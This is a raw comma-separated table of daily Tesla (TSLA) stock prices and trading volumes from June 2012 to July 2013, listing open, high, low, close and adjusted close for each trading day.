-2012-06-13,29.549999237060547,30.639999389648438,29.469999313354492,29.770000457763672,29.770000457763672,844100,TSLA -2012-06-14,30.18000030517578,30.649999618530273,28.6200008392334,29.389999389648438,29.389999389648438,872200,TSLA -2012-06-15,29.389999389648438,29.950000762939453,28.809999465942383,29.90999984741211,29.90999984741211,646800,TSLA -2012-06-18,29.940000534057617,32.33000183105469,29.5,31.84000015258789,31.84000015258789,1256800,TSLA -2012-06-19,32.02000045776367,32.65999984741211,31.5,32.09000015258789,32.09000015258789,911100,TSLA -2012-06-20,33.5,34.5,33.209999084472656,33.779998779296875,33.779998779296875,3422400,TSLA -2012-06-21,34.2599983215332,34.279998779296875,31.84000015258789,32.189998626708984,32.189998626708984,1891900,TSLA -2012-06-22,32.599998474121094,33.97999954223633,32.459999084472656,33.790000915527344,33.790000915527344,3046600,TSLA -2012-06-25,33.939998626708984,34.119998931884766,32.75,33.11000061035156,33.11000061035156,1498500,TSLA -2012-06-26,32.04999923706055,32.349998474121094,31.389999389648438,31.610000610351562,31.610000610351562,2613900,TSLA -2012-06-27,31.899999618530273,32.45000076293945,31.56999969482422,31.959999084472656,31.959999084472656,1047200,TSLA -2012-06-28,31.899999618530273,32.11000061035156,30.6200008392334,31.40999984741211,31.40999984741211,914100,TSLA -2012-06-29,32.79999923706055,32.79999923706055,31.0,31.290000915527344,31.290000915527344,1125800,TSLA -2012-07-02,31.350000381469727,31.799999237060547,30.190000534057617,30.399999618530273,30.399999618530273,1315600,TSLA -2012-07-03,30.600000381469727,31.0,30.399999618530273,30.65999984741211,30.65999984741211,947000,TSLA -2012-07-05,30.809999465942383,31.670000076293945,30.799999237060547,31.229999542236328,31.229999542236328,1253800,TSLA -2012-07-06,30.989999771118164,31.729999542236328,30.799999237060547,30.989999771118164,30.989999771118164,784500,TSLA -2012-07-09,30.940000534057617,31.829999923706055,30.670000076293945,31.489999771118164,31.489999771118164,910500,TSLA -2012-07-10,31.540000915527344,32.47999954223633,30.889999389648438,31.270000457763672,31.270000457763672,758400,TSLA -2012-07-11,31.56999969482422,31.68000030517578,31.010000228881836,31.510000228881836,31.510000228881836,638600,TSLA -2012-07-12,31.290000915527344,33.0099983215332,30.799999237060547,32.70000076293945,32.70000076293945,1125700,TSLA -2012-07-13,32.970001220703125,34.400001525878906,32.83000183105469,34.25,34.25,1304800,TSLA -2012-07-16,34.31999969482422,36.0,33.900001525878906,35.959999084472656,35.959999084472656,1744000,TSLA -2012-07-17,35.0,35.209999084472656,32.380001068115234,33.349998474121094,33.349998474121094,2569300,TSLA -2012-07-18,31.420000076293945,33.66999816894531,31.059999465942383,32.150001525878906,32.150001525878906,2881900,TSLA -2012-07-19,32.720001220703125,33.150001525878906,32.040000915527344,32.27000045776367,32.27000045776367,1435900,TSLA -2012-07-20,32.06999969482422,32.25,31.25,31.790000915527344,31.790000915527344,1568500,TSLA -2012-07-23,31.049999237060547,31.299999237060547,30.6200008392334,30.65999984741211,30.65999984741211,1386800,TSLA -2012-07-24,30.65999984741211,31.040000915527344,29.6200008392334,29.84000015258789,29.84000015258789,1500300,TSLA -2012-07-25,29.920000076293945,29.979999542236328,28.75,28.950000762939453,28.950000762939453,2842200,TSLA -2012-07-26,29.899999618530273,30.0,27.639999389648438,28.1299991607666,28.1299991607666,2262300,TSLA -2012-07-27,28.709999084472656,29.65999984741211,28.100000381469727,29.510000228881836,29.510000228881836,1673000,TSLA -2012-07-30,29.510000228881836,30.25,27.209999084472656,27.350000381469727,27.350000381469727,2065200,TSLA -2012-07-31,27.540000915527344,27.969999313354492,27.350000381469727,27.420000076293945,27.420000076293945,1575100,TSLA -2012-08-01,27.989999771118164,27.989999771118164,26.030000686645508,26.25,26.25,1592300,TSLA -2012-08-02,26.84000015258789,26.850000381469727,25.520000457763672,26.100000381469727,26.100000381469727,1305100,TSLA -2012-08-03,26.899999618530273,27.549999237060547,26.739999771118164,27.270000457763672,27.270000457763672,1209500,TSLA -2012-08-06,27.549999237060547,28.700000762939453,27.549999237060547,28.270000457763672,28.270000457763672,1528200,TSLA -2012-08-07,28.770000457763672,30.899999618530273,28.5,30.25,30.25,2387200,TSLA -2012-08-08,29.899999618530273,30.0,28.59000015258789,29.09000015258789,29.09000015258789,1308900,TSLA -2012-08-09,29.520000457763672,30.0,29.1299991607666,29.40999984741211,29.40999984741211,672600,TSLA -2012-08-10,29.309999465942383,29.940000534057617,29.309999465942383,29.940000534057617,29.940000534057617,707400,TSLA -2012-08-13,29.690000534057617,31.299999237060547,29.100000381469727,31.170000076293945,31.170000076293945,870100,TSLA -2012-08-14,30.75,31.170000076293945,29.260000228881836,29.420000076293945,29.420000076293945,793400,TSLA -2012-08-15,29.389999389648438,29.700000762939453,28.809999465942383,29.399999618530273,29.399999618530273,525400,TSLA -2012-08-16,29.530000686645508,30.389999389648438,29.5,30.299999237060547,30.299999237060547,669000,TSLA -2012-08-17,30.290000915527344,30.709999084472656,29.979999542236328,30.010000228881836,30.010000228881836,508200,TSLA -2012-08-20,30.149999618530273,30.389999389648438,29.100000381469727,29.510000228881836,29.510000228881836,1179100,TSLA -2012-08-21,29.579999923706055,30.0,29.0,29.110000610351562,29.110000610351562,761600,TSLA -2012-08-22,29.010000228881836,30.040000915527344,29.010000228881836,29.950000762939453,29.950000762939453,775500,TSLA -2012-08-23,30.0,30.850000381469727,29.649999618530273,30.729999542236328,30.729999542236328,1471000,TSLA -2012-08-24,30.059999465942383,30.239999771118164,29.40999984741211,29.5,29.5,1429400,TSLA -2012-08-27,29.56999969482422,29.700000762939453,28.170000076293945,28.31999969482422,28.31999969482422,1350400,TSLA -2012-08-28,28.399999618530273,29.3799991607666,28.0,28.690000534057617,28.690000534057617,1402700,TSLA -2012-08-29,28.489999771118164,28.639999389648438,28.020000457763672,28.40999984741211,28.40999984741211,838900,TSLA -2012-08-30,28.600000381469727,28.739999771118164,28.100000381469727,28.40999984741211,28.40999984741211,656400,TSLA -2012-08-31,28.610000610351562,28.84000015258789,28.200000762939453,28.520000457763672,28.520000457763672,539800,TSLA -2012-09-04,28.520000457763672,28.989999771118164,27.899999618530273,28.139999389648438,28.139999389648438,752500,TSLA -2012-09-05,28.010000228881836,28.5,27.809999465942383,27.940000534057617,27.940000534057617,639300,TSLA -2012-09-06,28.0,28.899999618530273,27.899999618530273,28.549999237060547,28.549999237060547,841700,TSLA -2012-09-07,28.549999237060547,29.56999969482422,28.5,29.350000381469727,29.350000381469727,953200,TSLA -2012-09-10,29.200000762939453,29.350000381469727,27.299999237060547,27.3700008392334,27.3700008392334,1483300,TSLA -2012-09-11,27.760000228881836,28.15999984741211,27.399999618530273,27.799999237060547,27.799999237060547,1014900,TSLA -2012-09-12,27.899999618530273,28.579999923706055,27.799999237060547,28.280000686645508,28.280000686645508,1145200,TSLA -2012-09-13,28.56999969482422,29.5,28.479999542236328,29.479999542236328,29.479999542236328,1484700,TSLA -2012-09-14,30.0,30.649999618530273,29.649999618530273,30.389999389648438,30.389999389648438,1536600,TSLA -2012-09-17,32.349998474121094,32.779998779296875,31.510000228881836,32.540000915527344,32.540000915527344,3212800,TSLA -2012-09-18,31.8799991607666,31.899999618530273,30.68000030517578,31.34000015258789,31.34000015258789,1788500,TSLA -2012-09-19,31.0,31.739999771118164,30.940000534057617,31.049999237060547,31.049999237060547,1048500,TSLA -2012-09-20,30.93000030517578,31.5,30.68000030517578,30.899999618530273,30.899999618530273,912400,TSLA -2012-09-21,31.100000381469727,31.489999771118164,29.540000915527344,30.020000457763672,30.020000457763672,1870000,TSLA -2012-09-24,29.510000228881836,31.030000686645508,29.399999618530273,30.65999984741211,30.65999984741211,1301900,TSLA -2012-09-25,28.6200008392334,29.479999542236328,27.530000686645508,27.65999984741211,27.65999984741211,5680400,TSLA -2012-09-26,27.65999984741211,28.399999618530273,27.479999542236328,27.540000915527344,27.540000915527344,1527200,TSLA -2012-09-27,27.81999969482422,28.540000915527344,27.600000381469727,28.489999771118164,28.489999771118164,1758600,TSLA -2012-09-28,28.729999542236328,29.889999389648438,28.610000610351562,29.280000686645508,29.280000686645508,4343400,TSLA -2012-10-01,29.5,29.889999389648438,29.0,29.15999984741211,29.15999984741211,884400,TSLA -2012-10-02,29.280000686645508,29.889999389648438,29.0,29.799999237060547,29.799999237060547,729000,TSLA -2012-10-03,29.75,29.950000762939453,29.239999771118164,29.299999237060547,29.299999237060547,1052800,TSLA -2012-10-04,30.0,30.100000381469727,28.649999618530273,29.399999618530273,29.399999618530273,1541300,TSLA -2012-10-05,29.700000762939453,29.809999465942383,28.68000030517578,28.889999389648438,28.889999389648438,938600,TSLA -2012-10-08,28.860000610351562,29.399999618530273,28.610000610351562,29.25,29.25,889700,TSLA -2012-10-09,29.1200008392334,29.1200008392334,28.25,28.3700008392334,28.3700008392334,1193000,TSLA -2012-10-10,28.389999389648438,28.719999313354492,28.010000228881836,28.399999618530273,28.399999618530273,503600,TSLA -2012-10-11,28.940000534057617,28.979999542236328,28.25,28.31999969482422,28.31999969482422,450600,TSLA -2012-10-12,28.31999969482422,28.729999542236328,27.5,27.639999389648438,27.639999389648438,987600,TSLA -2012-10-15,28.020000457763672,28.049999237060547,26.860000610351562,27.329999923706055,27.329999923706055,1468700,TSLA -2012-10-16,27.670000076293945,28.09000015258789,27.34000015258789,28.059999465942383,28.059999465942383,479300,TSLA -2012-10-17,28.25,28.84000015258789,27.799999237060547,28.81999969482422,28.81999969482422,668000,TSLA -2012-10-18,28.989999771118164,28.989999771118164,27.780000686645508,28.040000915527344,28.040000915527344,741000,TSLA -2012-10-19,27.829999923706055,28.200000762939453,27.299999237060547,27.739999771118164,27.739999771118164,1027400,TSLA -2012-10-22,27.989999771118164,28.0,27.360000610351562,27.850000381469727,27.850000381469727,470200,TSLA -2012-10-23,27.3799991607666,28.559999465942383,27.3700008392334,28.389999389648438,28.389999389648438,749000,TSLA -2012-10-24,28.520000457763672,28.520000457763672,27.25,27.420000076293945,27.420000076293945,1016400,TSLA -2012-10-25,27.799999237060547,27.799999237060547,27.450000762939453,27.520000457763672,27.520000457763672,577700,TSLA -2012-10-26,27.530000686645508,27.799999237060547,27.020000457763672,27.3799991607666,27.3799991607666,477400,TSLA -2012-10-31,27.700000762939453,28.350000381469727,27.3700008392334,28.1299991607666,28.1299991607666,775200,TSLA -2012-11-01,28.25,29.489999771118164,28.200000762939453,29.25,29.25,1024100,TSLA -2012-11-02,29.270000457763672,29.549999237060547,28.549999237060547,28.920000076293945,28.920000076293945,1030300,TSLA -2012-11-05,29.799999237060547,31.579999923706055,29.329999923706055,31.5,31.5,2048900,TSLA -2012-11-06,30.610000610351562,31.200000762939453,29.950000762939453,31.149999618530273,31.149999618530273,2324000,TSLA -2012-11-07,31.0,32.04999923706055,30.809999465942383,31.540000915527344,31.540000915527344,1714500,TSLA -2012-11-08,31.010000228881836,31.8799991607666,30.940000534057617,31.309999465942383,31.309999465942383,1274000,TSLA -2012-11-09,30.600000381469727,30.93000030517578,29.850000381469727,30.31999969482422,30.31999969482422,863000,TSLA -2012-11-12,30.290000915527344,31.420000076293945,30.15999984741211,31.06999969482422,31.06999969482422,555900,TSLA -2012-11-13,31.290000915527344,32.0,30.719999313354492,31.610000610351562,31.610000610351562,998300,TSLA -2012-11-14,31.959999084472656,32.119998931884766,31.200000762939453,31.3799991607666,31.3799991607666,871300,TSLA -2012-11-15,31.299999237060547,31.440000534057617,30.5,30.81999969482422,30.81999969482422,984000,TSLA -2012-11-16,31.149999618530273,32.0,30.59000015258789,31.84000015258789,31.84000015258789,908700,TSLA -2012-11-19,32.06999969482422,33.25,31.84000015258789,32.91999816894531,32.91999816894531,1392400,TSLA -2012-11-20,32.79999923706055,33.099998474121094,31.90999984741211,33.0,33.0,922500,TSLA -2012-11-21,32.61000061035156,33.470001220703125,32.290000915527344,32.470001220703125,32.470001220703125,963200,TSLA -2012-11-23,32.599998474121094,32.83000183105469,31.700000762939453,32.130001068115234,32.130001068115234,430300,TSLA -2012-11-26,32.099998474121094,32.29999923706055,31.6200008392334,32.27000045776367,32.27000045776367,495800,TSLA -2012-11-27,32.130001068115234,32.65999984741211,31.520000457763672,32.150001525878906,32.150001525878906,910800,TSLA -2012-11-28,32.0,34.290000915527344,31.90999984741211,33.22999954223633,33.22999954223633,1525200,TSLA -2012-11-29,33.439998626708984,34.0,32.869998931884766,33.689998626708984,33.689998626708984,1103400,TSLA -2012-11-30,33.630001068115234,34.279998779296875,33.0099983215332,33.81999969482422,33.81999969482422,1420300,TSLA -2012-12-03,33.88999938964844,35.0,33.5,34.619998931884766,34.619998931884766,2085700,TSLA -2012-12-04,34.08000183105469,34.79999923706055,33.54999923706055,33.900001525878906,33.900001525878906,1263300,TSLA -2012-12-05,33.81999969482422,34.189998626708984,33.58000183105469,33.709999084472656,33.709999084472656,661500,TSLA -2012-12-06,33.81999969482422,34.79999923706055,33.5,33.900001525878906,33.900001525878906,660400,TSLA -2012-12-07,34.29999923706055,34.4900016784668,33.849998474121094,34.16999816894531,34.16999816894531,664400,TSLA -2012-12-10,34.43000030517578,34.79999923706055,34.18000030517578,34.56999969482422,34.56999969482422,929800,TSLA -2012-12-11,34.599998474121094,35.5,34.459999084472656,35.279998779296875,35.279998779296875,1572600,TSLA -2012-12-12,35.209999084472656,35.79999923706055,34.95000076293945,35.2599983215332,35.2599983215332,2063800,TSLA -2012-12-13,35.2599983215332,35.29999923706055,32.75,33.61000061035156,33.61000061035156,2151300,TSLA -2012-12-14,33.779998779296875,34.400001525878906,33.59000015258789,33.810001373291016,33.810001373291016,1023000,TSLA -2012-12-17,33.77000045776367,34.5,33.75,34.400001525878906,34.400001525878906,824900,TSLA -2012-12-18,34.2599983215332,35.06999969482422,34.2599983215332,34.59000015258789,34.59000015258789,1553900,TSLA -2012-12-19,34.75,35.2599983215332,34.52000045776367,34.61000061035156,34.61000061035156,1298800,TSLA -2012-12-20,34.5099983215332,34.790000915527344,34.04999923706055,34.43000030517578,34.43000030517578,921200,TSLA -2012-12-21,33.939998626708984,34.16999816894531,33.58000183105469,34.0,34.0,1492400,TSLA -2012-12-24,33.63999938964844,34.349998474121094,33.54999923706055,34.279998779296875,34.279998779296875,375800,TSLA -2012-12-26,33.959999084472656,34.5,33.5,33.59000015258789,33.59000015258789,601400,TSLA -2012-12-27,33.5,33.90999984741211,33.0,33.689998626708984,33.689998626708984,561100,TSLA -2012-12-28,33.380001068115234,33.650001525878906,33.02000045776367,33.220001220703125,33.220001220703125,414100,TSLA -2012-12-31,33.0,33.970001220703125,33.0,33.869998931884766,33.869998931884766,594900,TSLA -2013-01-02,35.0,35.45000076293945,34.709999084472656,35.36000061035156,35.36000061035156,1194800,TSLA -2013-01-03,35.18000030517578,35.45000076293945,34.75,34.77000045776367,34.77000045776367,742000,TSLA -2013-01-04,34.79999923706055,34.79999923706055,33.91999816894531,34.400001525878906,34.400001525878906,674000,TSLA -2013-01-07,34.79999923706055,34.79999923706055,33.900001525878906,34.34000015258789,34.34000015258789,442000,TSLA -2013-01-08,34.5,34.5,33.11000061035156,33.68000030517578,33.68000030517578,1284000,TSLA -2013-01-09,34.0099983215332,34.189998626708984,33.400001525878906,33.63999938964844,33.63999938964844,698000,TSLA -2013-01-10,33.869998931884766,33.9900016784668,33.380001068115234,33.529998779296875,33.529998779296875,922500,TSLA -2013-01-11,34.040000915527344,34.040000915527344,32.11000061035156,32.90999984741211,32.90999984741211,1563200,TSLA -2013-01-14,33.08000183105469,33.380001068115234,32.849998474121094,33.2599983215332,33.2599983215332,925100,TSLA -2013-01-15,33.11000061035156,34.25,33.08000183105469,33.900001525878906,33.900001525878906,1624200,TSLA -2013-01-16,33.849998474121094,34.22999954223633,33.72999954223633,34.099998474121094,34.099998474121094,1378200,TSLA -2013-01-17,34.15999984741211,34.849998474121094,33.91999816894531,34.380001068115234,34.380001068115234,1436700,TSLA -2013-01-18,34.7400016784668,34.779998779296875,33.81999969482422,34.52000045776367,34.52000045776367,3555100,TSLA -2013-01-22,34.560001373291016,35.54999923706055,34.2599983215332,35.189998626708984,35.189998626708984,1920200,TSLA -2013-01-23,35.02000045776367,36.2400016784668,34.959999084472656,36.0,36.0,1564300,TSLA -2013-01-24,36.0,37.720001220703125,35.84000015258789,36.9900016784668,36.9900016784668,1970400,TSLA -2013-01-25,37.0,37.540000915527344,36.79999923706055,36.97999954223633,36.97999954223633,1287800,TSLA -2013-01-28,36.86000061035156,38.709999084472656,36.86000061035156,38.029998779296875,38.029998779296875,1986000,TSLA -2013-01-29,38.099998474121094,38.439998626708984,37.130001068115234,37.95000076293945,37.95000076293945,1426600,TSLA -2013-01-30,37.849998474121094,38.0,37.43000030517578,37.52000045776367,37.52000045776367,968100,TSLA -2013-01-31,37.869998931884766,37.869998931884766,36.93000030517578,37.5099983215332,37.5099983215332,901400,TSLA -2013-02-01,38.16999816894531,38.5,37.619998931884766,38.29999923706055,38.29999923706055,1100600,TSLA -2013-02-04,38.400001525878906,38.41999816894531,37.59000015258789,37.7400016784668,37.7400016784668,1128000,TSLA -2013-02-05,38.0,38.650001525878906,37.68000030517578,38.130001068115234,38.130001068115234,1310200,TSLA -2013-02-06,38.18000030517578,39.38999938964844,37.900001525878906,39.16999816894531,39.16999816894531,1893200,TSLA -2013-02-07,39.189998626708984,39.68000030517578,38.95000076293945,39.47999954223633,39.47999954223633,1196600,TSLA -2013-02-08,39.45000076293945,40.0,39.13999938964844,39.2400016784668,39.2400016784668,1139800,TSLA -2013-02-11,37.97999954223633,39.150001525878906,37.5,38.41999816894531,38.41999816894531,3266300,TSLA -2013-02-12,38.45000076293945,38.869998931884766,37.290000915527344,37.88999938964844,37.88999938964844,2261300,TSLA -2013-02-13,38.29999923706055,39.0,38.04999923706055,38.45000076293945,38.45000076293945,966800,TSLA -2013-02-14,38.63999938964844,38.75,38.209999084472656,38.27000045776367,38.27000045776367,990700,TSLA -2013-02-15,38.5,38.5099983215332,36.95000076293945,37.040000915527344,37.040000915527344,2017600,TSLA -2013-02-19,37.36000061035156,39.290000915527344,37.310001373291016,39.279998779296875,39.279998779296875,2701400,TSLA -2013-02-20,39.29999923706055,39.650001525878906,38.459999084472656,38.540000915527344,38.540000915527344,3122000,TSLA -2013-02-21,36.4900016784668,37.38999938964844,34.540000915527344,35.15999984741211,35.15999984741211,9037800,TSLA -2013-02-22,35.720001220703125,36.38999938964844,35.599998474121094,36.11000061035156,36.11000061035156,2547300,TSLA -2013-02-25,36.150001525878906,36.75,34.34000015258789,34.380001068115234,34.380001068115234,2889400,TSLA -2013-02-26,34.459999084472656,34.959999084472656,33.79999923706055,34.43000030517578,34.43000030517578,2762900,TSLA -2013-02-27,34.40999984741211,35.40999984741211,34.400001525878906,35.099998474121094,35.099998474121094,1959200,TSLA -2013-02-28,35.88999938964844,36.099998474121094,34.369998931884766,34.83000183105469,34.83000183105469,1964900,TSLA -2013-03-01,35.0,35.08000183105469,34.25,34.650001525878906,34.650001525878906,1546600,TSLA -2013-03-04,34.77000045776367,35.83000183105469,34.70000076293945,35.58000183105469,35.58000183105469,1757700,TSLA -2013-03-05,36.0,36.91999816894531,35.790000915527344,36.650001525878906,36.650001525878906,2087000,TSLA -2013-03-06,37.0099983215332,37.880001068115234,36.970001220703125,37.689998626708984,37.689998626708984,1150000,TSLA -2013-03-07,37.72999954223633,38.650001525878906,36.880001068115234,38.22999954223633,38.22999954223633,1158300,TSLA -2013-03-08,38.060001373291016,39.439998626708984,37.36000061035156,38.470001220703125,38.470001220703125,912100,TSLA -2013-03-11,38.869998931884766,39.439998626708984,38.650001525878906,39.099998474121094,39.099998474121094,1579500,TSLA -2013-03-12,38.900001525878906,39.380001068115234,38.849998474121094,39.119998931884766,39.119998931884766,1275100,TSLA -2013-03-13,39.0,39.4900016784668,38.810001373291016,38.97999954223633,38.97999954223633,822000,TSLA -2013-03-14,38.900001525878906,38.90999984741211,36.77000045776367,36.849998474121094,36.849998474121094,2021000,TSLA -2013-03-15,36.63999938964844,36.650001525878906,35.209999084472656,35.290000915527344,35.290000915527344,3279600,TSLA -2013-03-18,35.29999923706055,36.060001373291016,34.91999816894531,35.150001525878906,35.150001525878906,1316100,TSLA -2013-03-19,35.25,35.599998474121094,34.939998626708984,35.08000183105469,35.08000183105469,1098500,TSLA -2013-03-20,35.2599983215332,36.06999969482422,35.15999984741211,35.95000076293945,35.95000076293945,1423000,TSLA -2013-03-21,35.95000076293945,37.060001373291016,35.7400016784668,36.0099983215332,36.0099983215332,1146300,TSLA -2013-03-22,36.20000076293945,36.79999923706055,36.20000076293945,36.619998931884766,36.619998931884766,440200,TSLA -2013-03-25,37.099998474121094,38.52000045776367,36.77000045776367,37.529998779296875,37.529998779296875,2378800,TSLA -2013-03-26,37.97999954223633,38.220001220703125,37.65999984741211,37.86000061035156,37.86000061035156,1808200,TSLA -2013-03-27,37.939998626708984,38.380001068115234,37.310001373291016,38.15999984741211,38.15999984741211,1296300,TSLA -2013-03-28,38.22999954223633,38.2400016784668,37.75,37.88999938964844,37.88999938964844,1158700,TSLA -2013-04-01,42.36000061035156,46.68000030517578,41.70000076293945,43.93000030517578,43.93000030517578,14098500,TSLA -2013-04-02,43.599998474121094,45.5,43.5099983215332,44.34000015258789,44.34000015258789,6652400,TSLA -2013-04-03,43.099998474121094,43.470001220703125,40.209999084472656,41.099998474121094,41.099998474121094,5643600,TSLA -2013-04-04,41.11000061035156,42.25,40.810001373291016,42.0099983215332,42.0099983215332,2264800,TSLA -2013-04-05,42.0,42.0,40.5,41.369998931884766,41.369998931884766,1552400,TSLA -2013-04-08,41.970001220703125,42.54999923706055,41.5099983215332,41.83000183105469,41.83000183105469,1679000,TSLA -2013-04-09,41.79999923706055,41.83000183105469,40.33000183105469,40.5,40.5,1696100,TSLA -2013-04-10,40.70000076293945,42.0099983215332,40.61000061035156,41.86000061035156,41.86000061035156,2121100,TSLA -2013-04-11,42.060001373291016,44.54999923706055,41.75,43.59000015258789,43.59000015258789,3447400,TSLA -2013-04-12,43.25,45.13999938964844,43.04999923706055,43.75,43.75,3149400,TSLA -2013-04-15,43.5,43.79999923706055,42.5099983215332,43.29999923706055,43.29999923706055,1681400,TSLA -2013-04-16,44.189998626708984,46.13999938964844,43.90999984741211,45.59000015258789,45.59000015258789,3180400,TSLA -2013-04-17,45.5,45.95000076293945,44.540000915527344,45.45000076293945,45.45000076293945,2118500,TSLA -2013-04-18,45.97999954223633,47.599998474121094,45.38999938964844,46.970001220703125,46.970001220703125,3367900,TSLA -2013-04-19,47.459999084472656,49.880001068115234,47.06999969482422,47.83000183105469,47.83000183105469,3011700,TSLA -2013-04-22,48.599998474121094,50.20000076293945,47.75,50.189998626708984,50.189998626708984,3939400,TSLA -2013-04-23,51.0,52.91999816894531,50.65999984741211,51.0099983215332,51.0099983215332,3733800,TSLA -2013-04-24,50.900001525878906,51.04999923706055,48.97999954223633,50.43000030517578,50.43000030517578,2630000,TSLA -2013-04-25,50.5,52.400001525878906,50.5,52.0,52.0,2795900,TSLA -2013-04-26,53.130001068115234,53.7400016784668,50.619998931884766,51.20000076293945,51.20000076293945,3622100,TSLA -2013-04-29,51.7599983215332,54.9900016784668,51.20000076293945,54.939998626708984,54.939998626708984,3639700,TSLA -2013-04-30,56.0,58.18000030517578,53.7599983215332,53.9900016784668,53.9900016784668,5522600,TSLA -2013-05-01,55.9900016784668,55.9900016784668,53.0,53.279998779296875,53.279998779296875,2742800,TSLA -2013-05-02,53.849998474121094,55.27000045776367,53.70000076293945,54.11000061035156,54.11000061035156,3050400,TSLA -2013-05-03,56.470001220703125,56.470001220703125,54.5,54.54999923706055,54.54999923706055,3378700,TSLA -2013-05-06,56.38999938964844,59.65999984741211,55.5,59.5,59.5,4366700,TSLA -2013-05-07,62.0,62.369998931884766,55.119998931884766,55.5099983215332,55.5099983215332,9991000,TSLA -2013-05-08,57.5,58.20000076293945,55.709999084472656,55.790000915527344,55.790000915527344,6769900,TSLA -2013-05-09,70.12000274658203,75.7699966430664,63.689998626708984,69.4000015258789,69.4000015258789,28605000,TSLA -2013-05-10,69.6500015258789,81.0,69.25,76.76000213623047,76.76000213623047,25082600,TSLA -2013-05-13,80.98999786376953,88.0,79.1500015258789,87.80000305175781,87.80000305175781,22416900,TSLA -2013-05-14,94.22000122070312,97.12000274658203,81.1500015258789,83.23999786376953,83.23999786376953,37163900,TSLA -2013-05-15,81.80000305175781,86.87999725341797,78.11000061035156,84.83999633789062,84.83999633789062,16878700,TSLA -2013-05-16,94.69999694824219,95.0,88.66000366210938,92.25,92.25,21614000,TSLA -2013-05-17,92.5,94.44000244140625,87.5,91.5,91.5,19002200,TSLA -2013-05-20,91.12000274658203,92.5,88.62999725341797,89.94000244140625,89.94000244140625,8348400,TSLA -2013-05-21,88.5,89.98999786376953,85.27999877929688,87.58999633789062,87.58999633789062,8998200,TSLA -2013-05-22,86.37000274658203,90.95999908447266,85.5,87.23999786376953,87.23999786376953,8568000,TSLA -2013-05-23,84.80999755859375,93.01000213623047,83.05000305175781,92.7300033569336,92.7300033569336,12022200,TSLA -2013-05-24,92.5999984741211,97.94999694824219,92.0,97.08000183105469,97.08000183105469,16124200,TSLA -2013-05-28,101.55000305175781,110.75,100.30000305175781,110.33000183105469,110.33000183105469,19691900,TSLA -2013-05-29,113.55000305175781,114.9000015258789,99.0,104.62999725341797,104.62999725341797,25099500,TSLA -2013-05-30,102.45999908447266,109.54000091552734,101.19999694824219,104.94999694824219,104.94999694824219,16133700,TSLA -2013-05-31,106.26000213623047,106.44000244140625,97.7300033569336,97.76000213623047,97.76000213623047,15172000,TSLA -2013-06-03,97.62000274658203,97.62000274658203,88.25,92.58999633789062,92.58999633789062,19139600,TSLA -2013-06-04,92.75,96.41999816894531,92.4000015258789,94.83999633789062,94.83999633789062,8856100,TSLA -2013-06-05,93.66000366210938,97.97000122070312,89.11000061035156,95.37000274658203,95.37000274658203,12224800,TSLA -2013-06-06,95.25,99.2699966430664,95.11000061035156,97.3499984741211,97.3499984741211,9510900,TSLA -2013-06-07,98.0,102.9000015258789,96.69999694824219,102.04000091552734,102.04000091552734,10711600,TSLA -2013-06-10,98.93000030517578,102.5199966430664,98.56999969482422,100.05000305175781,100.05000305175781,9228600,TSLA -2013-06-11,98.18000030517578,98.68000030517578,94.05000305175781,94.47000122070312,94.47000122070312,7394000,TSLA -2013-06-12,96.80000305175781,100.4800033569336,95.75,97.7300033569336,97.7300033569336,9192700,TSLA -2013-06-13,99.0,99.27999877929688,95.12000274658203,98.18000030517578,98.18000030517578,5961600,TSLA -2013-06-14,100.0,102.5199966430664,99.33000183105469,100.30000305175781,100.30000305175781,6564700,TSLA -2013-06-17,103.5999984741211,104.75,101.19999694824219,102.19999694824219,102.19999694824219,7066200,TSLA -2013-06-18,101.75,103.9800033569336,99.19999694824219,103.38999938964844,103.38999938964844,8795300,TSLA -2013-06-19,102.05999755859375,106.66999816894531,102.01000213623047,104.68000030517578,104.68000030517578,8578900,TSLA -2013-06-20,104.6500015258789,107.12999725341797,99.44999694824219,100.6500015258789,100.6500015258789,10106500,TSLA -2013-06-21,103.69999694824219,103.69999694824219,97.5,99.55000305175781,99.55000305175781,11718600,TSLA -2013-06-24,96.5,102.87000274658203,95.30000305175781,101.48999786376953,101.48999786376953,7119800,TSLA -2013-06-25,103.0999984741211,104.19999694824219,100.55000305175781,102.4000015258789,102.4000015258789,5848700,TSLA -2013-06-26,103.80000305175781,105.87000274658203,102.66000366210938,105.72000122070312,105.72000122070312,6602600,TSLA -2013-06-27,106.75,110.25,106.12999725341797,109.25,109.25,8744900,TSLA -2013-06-28,108.56999969482422,109.44000244140625,106.70999908447266,107.36000061035156,107.36000061035156,5748600,TSLA -2013-07-01,109.36000061035156,117.7699966430664,109.1500015258789,117.18000030517578,117.18000030517578,10903600,TSLA -2013-07-02,118.25,121.88999938964844,115.5,117.81999969482422,117.81999969482422,12064100,TSLA -2013-07-03,118.0,119.25,114.2699966430664,115.23999786376953,115.23999786376953,4806700,TSLA -2013-07-05,118.31999969482422,120.27999877929688,115.69999694824219,120.08999633789062,120.08999633789062,6818700,TSLA -2013-07-08,121.37000274658203,122.18000030517578,118.81999969482422,121.61000061035156,121.61000061035156,7814200,TSLA -2013-07-09,124.63999938964844,125.31999969482422,121.91000366210938,123.44999694824219,123.44999694824219,8603300,TSLA -2013-07-10,123.19000244140625,123.25,120.79000091552734,122.2699966430664,122.2699966430664,5600100,TSLA -2013-07-11,124.87999725341797,126.08999633789062,122.3499984741211,125.61000061035156,125.61000061035156,7483600,TSLA -2013-07-12,125.5,129.94000244140625,124.51000213623047,129.89999389648438,129.89999389648438,11344000,TSLA -2013-07-15,133.02999877929688,133.25999450683594,126.81999969482422,127.26000213623047,127.26000213623047,9922400,TSLA -2013-07-16,126.27999877929688,126.31999969482422,107.30000305175781,109.05000305175781,109.05000305175781,32371900,TSLA -2013-07-17,106.5199966430664,121.62000274658203,104.5,120.25,120.25,26029000,TSLA -2013-07-18,120.97000122070312,122.7300033569336,116.18000030517578,119.02999877929688,119.02999877929688,11398100,TSLA -2013-07-19,118.5,120.55000305175781,116.51000213623047,119.68000030517578,119.68000030517578,5890300,TSLA -2013-07-22,119.88999938964844,126.68000030517578,119.87999725341797,122.43000030517578,122.43000030517578,9797800,TSLA -2013-07-23,124.0,125.55999755859375,121.81999969482422,122.73999786376953,122.73999786376953,7736400,TSLA -2013-07-24,124.47000122070312,124.5,119.55999755859375,121.69999694824219,121.69999694824219,6869000,TSLA -2013-07-25,120.4000015258789,124.75,120.19000244140625,124.06999969482422,124.06999969482422,5284300,TSLA -2013-07-26,128.13999938964844,130.67999267578125,126.61000061035156,129.38999938964844,129.38999938964844,9633100,TSLA 